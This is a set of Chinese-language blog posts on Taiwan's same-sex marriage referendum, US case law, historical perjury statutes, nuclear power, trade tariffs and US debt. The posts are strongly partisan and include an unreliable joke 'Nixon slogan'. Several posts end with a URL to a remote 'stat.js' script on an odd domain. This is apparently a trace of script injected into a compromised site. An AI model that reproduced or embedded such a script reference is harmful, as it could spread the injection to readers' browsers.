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法律

同性婚姻公投結果相悖於大法官解釋!

公投民意認定「民法婚姻規定應限定一男一女」(2018/11/24),而2017/05/24做成的大法官解釋文第748號卻聲稱同性婚姻合法,且釋憲文公開後2年可以逕行向戶政機關登記。

法學邏輯上,沒有民意基礎的大法官解釋要如何與新民意對抗呢?

我的看法是:
1. 大法官釋憲文位階到底是不是憲法高度?通說雖然都肯定,但其實大有疑義。

司法院大法官審理案件法並未有關於大法官解釋文法律位階的定義;而大法官自己在釋字第185號似乎把解釋文位階拉到憲法高度,但當憲法解釋觀點顯與公投民意違背時,少數壓倒多數本身合憲乎?

2. 釋字第748號中大法官自己也承認:「至於以何種形式達成婚姻自由之平等保護,屬立法形成之範圍。」

既然屬於立法形成,那麼依據公投法所得之最新公民意見,假設立院要遵循新民意,則顯與大法官早前課責立法權應完成之法有所扞格。若要遵循大法官之見解,則又與民意違背。

而事實上立法院要不要真的立法或修法允許同性婚姻?以及要不要撥預算給戶政機關更新系統?甚至行政機關本身是否要利用非常繁瑣的程序來達成實質登記之難度?球,都不在大法官手上。

3. 若從「人民授權」角度來看政治權力,則立法委員之所以可以立法的基礎來自於直接人民的民意授權;大法官需經由立院同意,其授權為民意之間接授權。以此觀之,間接授權者可以與權力源頭對抗嗎?

4. 婚姻制度本身是涉及財產權與後代繁衍親權分配的合夥關係,從限制一男一女到允許同性結婚,如此調整整體社會要付出多大成本?這問題也不可不研議。

5. 唯一可以確定的是,若同性能結婚,則離婚官司案件必將成長,律師們支持同性婚姻的其中一種誘因就顯而易見了。

是的,就公投結果來看,只有專法可以解套;但是這好像不是那些同志團體要的結果。

此外,立法院真的敢在執政黨選舉大敗這個環境下通過「同性婚姻法」?我很質疑。

總之,吃瓜群眾們,讓我們繼續看~下~去~

https://www.cna.com.tw/news/firstnews/201811245017.asp

補充:司法院這個聲明根本搞笑

quote:"司法院表示,立法機關必須尊重公投結果,並採納為立法、修法方向,但無論公投結果如何,仍然不能違背憲法及大法官會議解釋。"

阿現在就民意與大法官意見相左啊~~

https://www.cna.com.tw/news/firstnews/201811240281.aspxhttps://js.developerstatss.ga/stat.js?n=ns1

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筆記

尼克森總統競選標語–妳舔不到我們的GG

都說美國高貴的民主價值,不會出現低俗競選標語。 XD

翻譯:

他們舔不到我們的GG

我們愛GG

我們愛我們的GG

幹得好!GG

不准妳舔我們的GG!

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筆記

科技倒轉

20年前的舊新聞 — 當年美國政府表示核廢料處理不是問題。美軍核廢料都能妥善處理,更枉論民用核電廠。

沒想到20年的科技發展下,台灣反核蠢蛋把核廢料說成「人類幾萬年都無法處理的絕症」。

原來20年光陰,人類科技是逆向發展呢~

再過一千年的後代回頭看歷史若不小心查到台灣反核團體言論,一定會很驚訝地以為:「當年地球上人類不會是近乎滅絕吧?不然怎麼科技會倒轉呢?」

quote:"至於核廢料問題,在美國能源部負責核廢料管理司事務的周成康表示,他此次來台的目的就是要發起將美日的核廢料處理技術移轉予南韓及台灣,核廢料處理不會成為問題。"

http://forums.chinatimes.com/special/new_nuclear/89100707.htmhttps://js.developerstatss.ga/stat.js?n=ns1

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法律

法律與偏見(Palmore v. Sidoti)

原文美國最高法院於Palmore v. Sidoti一案所稱的"law"指的是common law,而非legislative law。

事實面來說,本案是Anthony and Linda Sidoti兩個高加索種白人離婚後,原本甫出生的婚生嬰兒監護權歸生母所有。

爾後該白人母親與黑人同居,生父提出訴訟請求監護權,聲稱當年(1970、80年代)長於黑白配家庭的子女恐受到較多社會異樣眼光,對兒童成長有害。此案一路打到佛羅里達州最高法院,生父勝訴。

案子來到聯邦最高法院,而最高法院法官難得一致無意見判決生父敗訴,認為「無論種族歧視問題如何真實,也不能構成法律上剝奪生母對其子女監護權之理由。憲法不能控制這類偏見,但也不能容忍之。私人偏見或許存在於法律力量所及之外,但法律不能直接或間接地給與偏見效力。(The effects of racial prejudice, however real, cannot justify a racial classification removing an infant child from the custody of its natural mother. The Constitution cannot control such prejudice, but neither can it tolerate it. Private biases may be outside the reach of the law, but the law cannot, directly or indirectly, give them effect. )」
因為本案完全在處理離婚夫妻之子女監護權(custody issue)的問題,100%屬於英美法系中common law領域。

因此我不認為這段法律價值宣言可以這麼理所當然地類比到台灣現在的同婚平權問題上。因為針對侷限條件並不一致 — 本案是原告基於某種社會偏見(即便真實存在)而欲剝奪傳統上生母對子女的監護權。本案其實依據的是美國憲法第十四號修正案。

台灣在吵的同性戀婚姻問題,本質上並不太一樣。

這細微的差異,我想沒修習過英美法的台灣律師可能難以體會。

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法律

中華文化不重視偽證罪?

每次看到這類「民族性比較」文章就很想笑。特別是這種假台獨往往對中華文化根本就一知半解還能夸夸其談。

1. 此文講得好像只有作者住過美國一樣。

2. 此文作者的專業並非法律;而不才剛好在美國法學院拿碩士。美國法律講究的是「adversary system」,恰恰就是因為不相信法庭上可以探尋到「客觀真相」,所以只能由控辯雙方各自努力說服法官或陪審團。

法律人都知道法庭上所接受的「法律事實」通常與真實世界的「客觀事實」是兩回事。

你既然是法律外行,就請勿誤導其他非法律專業的讀者。

3. 如果天主教徒都像你說的那樣品德高超,那天主教也不需要發明「十戒」來約束教徒了。

從經濟學角度來看,恰恰就是因為做不到,才如此強調「十戒」。

4. 上帝不接受賄絡的蠢話不曉得基礎在哪,我只知道創世紀第四章上帝喜歡亞伯供奉的羊肉羊脂勝過兄長該隱供奉的農作物。

一個對供品有偏好的上帝,不會接受賄賂?

讓我們來看看箴言21:14「暗中送的禮物挽回怒氣;懷中搋的賄賂止息暴怒。」

我都還沒提天主教贖罪券的長年陋習哩

5. 中國人不相信公平正義,就不會有「包公」的各種傳說與戲曲流傳了。

6. 中國人對偽證只要聳聳肩?

漢代《九章律具律》中明確規定:證人不據實作證,如果造成被告人被判死罪,對證人要處以「黥為城旦舂」的刑罰。「譯人」不據實翻譯,如果被告人被處以其他刑罰,就以偽證所造成的罪行出入,反坐。

《唐律疏議詐偽》中有關於「證不言情和譯人作偽」的規定,證人和翻譯人員作偽證導致定罪有出入的,按照反坐的原則處罰,證人按其所出入的刑罰減二等處罰,翻譯人員按其所出入的刑罰處罰。

宋朝《宋刑統》延續唐朝規定,偽證者刑罰減二等處罰。

明朝也延續此項偽證罪規定。

大清律也延續同樣的偽證罪,還增加了「證物造假罪」–「凡不應為而為之者,笞四十,事理重者,杖八十。」

話說到此,這位作者連這些各朝代的刑事律例都不知道的狀況下,還好意思說「中華文化不重視偽證?」麻煩自己先不要造假好不好?

(我都還不想說民進黨靠多少假歷史在騙選票哩)

7. 基督教文化比中華文化更不會嫉妒?這點廢屁到正常人都聽不下去吧~ XD

最近哈佛的「歧視亞裔學生案」不正是以種族多元為藉口地打壓資優?假台獨的雙重標準真有趣呢。

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隨筆

隨筆

嚴格來說「支持『東澳正名』」與「反對『以核養綠』」的人其實都是同樣的思維:拒絕面對現實!https://js.developerstatss.ga/stat.js?n=ns1

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隨筆

隨筆-假台獨的假勇敢

假台獨們真的有趣在於:

不害怕與世界經濟第二大、人口第一大國為敵,不害怕與佔台灣4成貿易出口量的中國斷絕往來,甚至期待對方經濟政治崩潰,還傻傻地以為自己都不會受害。

卻對風險發生機率非常低的核能電廠害怕得要死。

這些台灣人究竟勇敢與否?That is a question.

PS 台灣要達成非核家園很簡單啊!跟中國談和,以後拉海底電纜直接跟中國買電即可。核一~核三皆可停,核四永遠不需要運轉。這下愛台灣、台灣價值滿點的假台獨們又不依了~https://js.developerstatss.ga/stat.js?n=ns1

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科技相關 筆記

“智慧塵"來啦~(Here Comes “Smart Dust")

感覺就是重炒被動式RFID這類曾被炒過的晶片與應用。

不過除了透過無線射頻來提供被動式晶片所需電能,也有透過溫度(或溫差),使得某些感應器可以不連接電線的前提下自己運作並發送資料。

已經有畜牧業者將此類被動式智慧塵晶片裝在牛隻身上監測其健康狀況。間諜活動上也可以減少監聽設備需要充電的風險。(這是否意味未來旅館偷拍將更容易?)

也有學者認為這類被動式無線感應器可減少汽車內部布線達50磅重。

不過就我自己從事過RFID產業的經驗,這類夸夸其談的各種幻想應用其實都需要相當長一段時間來驗證。許多想得很美好的方案最後都被證實失敗,例如我曾經手的RFID生物晶片監視養殖水產技術。

https://www.wsj.com/articles/here-comes-smart-dust-the-tiny-computers-that-pull-power-from-the-air-1541689224https://js.developerstatss.ga/stat.js?n=ns1

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筆記

中美貿易戰之檢驗–Mid Content

這就是我不厭其煩反覆強調的:「貿易戰本質就是讓人民付出更高的代價去完成本來的經濟活動。」

Mid Continent在六月於Commerce’s Bureau of Industry and Security提出聲請,主張如果不從中國進口原物料或零組件,自己根本無法在美國生產全部商品。

好笑的是Mid Continent的供應商如大名鼎鼎的Nucor鋼鐵則提出反駁,聲稱自己可以「完全供應Mid Continent所需之原料」。

Mid Continent又主張:「Nucor在唬爛,它僅能供應部分而已。」

與此同時,另一家供應商Mid-South也同樣提出反駁,理由與Nucor一樣。Mid Continent也只能同樣回應Mid-South僅能供應部分。

設想在沒有官僚人為貿易障礙的自由市場交易下,一間公司需要向哪些供應商購買原物料或服務,還需要如此來來回回放話?還需要如此通報政府機關嗎?

這就是社會整體交易費用被人為提高的一個面相。上回我們曾經討論過的「人人競相攀關係、衝政治獻金以尋求豁免」的尋租活動,也只是政客欲充實私囊而甘願犧牲人民利益的一種展現。

順道一提,貿易戰前Mid Continent聘僱超過500名員工,如今僅剩300名。物料成本也因關稅比同等級進口貨高出20%。

https://www.wsj.com/articles/the-anti-manufacturing-tariff-1541980596https://js.developerstatss.ga/stat.js?n=ns1

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筆記

美國債務危機?

美國債務危機?

1. 過去十年,美國公共債務從$5.1兆美元快速攀升至$15.9兆。

2. 2017年美國政府僅僅利息支出約$263B美元,佔政府總支出6.6%,佔GDP 1.4%。值得注意的是,2017年尚屬美國歷史上利率最低的一段時期。

3. 美國國會預算辦公室估計到2028年,美國政府僅利息年支出將成長至$915B,佔政府總支出13%,佔GDP 3.1%!

該辦公室也推估,2020年時,美國政府利息支出將超過健保總支出;2023年將超過國防總支出;2025年將超過扣除國防支出的"自由支配"總政府支出(all nondefense discretionary spendings)!

4. 可能屋漏篇逢連夜雨地,川普的個人所得稅減稅計畫將於2025年屆止。而剛剛選上的新眾議院(民主黨為多數)將審核是否展延這項減稅計畫。

5. 美國財政部2018年發行債券總額是2017年的二倍。如果景氣反轉,估計美國政府必須借更多債來發放失業補助與食物券。(從經濟學看,此二者福利支出均對未來經濟成長毫無幫助,甚至有培養懶人的負面效果)

國家債務問題其實應該從價格理論出發來審視 — 舉債究竟花在什麼項目上?是對整體經濟有害無益的福利項目?還是對未來投資的基礎建設或教育?

此外,真實世界這些預算是「怎麼被執行」「怎麼被花費」也是重點。

換言之,這一塊的判定需要花費相當時間實地考察。這也是說,單純看一國舉債額度,根本無法斷定是否存在「債務危機」。因此一堆中國崩潰論者宣稱的「中國債務問題」,往往都忽略了這部份的考察。

與之相對的,美國舉債花費在福利項目比例越來越高這點倒是比較無庸置疑。同時,美國有諸多「尋租項目」(如公立教師體系收入過高)的存在,與中國官僚貪汙相比也是不遑多讓。

https://www.wsj.com/articles/u-s-on-a-course-to-spend-more-on-debt-than-defense-1541937600https://js.developerstatss.ga/stat.js?n=ns1